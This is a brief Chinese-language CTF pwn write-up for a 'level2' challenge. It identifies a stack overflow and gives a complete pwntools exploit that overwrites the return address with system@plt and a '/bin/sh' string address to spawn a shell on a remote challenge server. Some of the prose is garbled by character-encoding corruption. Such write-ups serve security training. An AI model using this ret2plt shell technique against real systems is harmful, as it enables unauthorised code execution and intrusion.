0x00 file
和checksec
(看不到,看不到,看不到)
0x01 ida查看
- 明顯的棧溢出
- 這個(gè)題目和之前的不一樣切省,這個(gè)里面沒有直接system('/bin/sh')之類的函數(shù),所以需要我們構(gòu)造
-
ida
查看字符串和左側(cè)function
- 所以直接調(diào)用plt_system即可
0x02 完整exp
from pwn import *
local=0
pc='./level2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 58516]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
rl()
plt_system_addr = 0x08048320
bin_sh_addr = 0x0804a024
payload = 'a'*0x88
payload += 'bbbb'
payload += p32(plt_system_addr)
payload += 'fake'
payload += p32(bin_sh_addr)
sl(payload)
p.interactive()
0x03 結(jié)果